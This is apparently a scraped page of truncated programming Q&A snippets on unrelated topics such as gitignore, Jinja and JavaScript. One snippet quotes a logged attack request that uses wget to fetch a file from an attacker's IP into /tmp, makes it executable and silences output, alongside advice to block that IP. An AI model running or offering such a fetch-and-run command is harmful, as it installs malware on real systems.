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Check if an array is empty or exists
...use var whenever declaring a variable:
<?php echo "var image_array = ".json_encode($images);?>
// add var ^^^ here
And then make sure you never accidently redeclare that variable later:
else {
...
image_array = []; // no var here
}
...
How to use gitignore command in git
...er.
node_modules
# Build files
dist/
# lock files
yarn.lock
package-lock.json
# Logs
logs
*.log
npm-debug.log*
# node-waf configuration
.lock-wscript
# Optional npm cache directory
.npm
# Optional REPL history
.node_repl_history
# Jest Coverage
coverage
.history/
You can find more on git d...
When would I use XML instead of SQL? [closed]
... them able to respond in a constant time to any request while XML-, Yaml-, JSon- and other text-based data storages are basically text-based, so all queries are performed trough text parsing which has a huge overhead in processor time, and can be performed in unpredicatable amount of time. This only...
What is /dev/null 2>&1?
...cd+/tmp;wget+-O+xm111+xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http:/… > /dev/null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx is attacker's IP and it is also listed as abusive in many sites. First and foremost preventive step is block the IP in firewall as ...
What Process is using all of my disk IO
... with entries in /home/spinnaker/.kube/cache/discovery/.../serverresources.json. Once you narrow things down to a user/process name something like iotop -atku systemd-network | grep kubectl may also help
– Greg Bray
Jul 31 at 3:39
...
Count number of lines in a git repository
...cript 2 13 111 309
JSON 3 0 0 58
HTML 2 7 12 50
Handlebars 2 0 0 ...
Convert integer to string Jinja
...lues to integers. Btw, in my case I've got integers as strings coming from JSON content files: "hero_title_img_w": "111" and "hero_title_img2_w": "222". Then I'm adding them in .NJK file: {{ hero_title_img_w|int + hero_title_img2_w|int }} to use as image's width attribute. Hope it helps somebody one...
Git is ignoring files that aren't in gitignore
...
I had *.json in my global ignore - talk about a nightmare - thank you!
– Jason Perfetto
Jan 2 at 15:10
add a...
How to read a text-file resource into Java unit test? [duplicate]
... File file = new File(getClass().getResource("/responses/example.json").getFile()); Seems to work just fine too, without getClassLoader().
– Astrus
Nov 26 '18 at 13:29
...
How do I get the value of text input field using JavaScript?
... that you can programmatically access each property, just do: var input = JSON.parse(document.getElementById("input_id").value);
– JakeJ
Jul 16 '19 at 13:33
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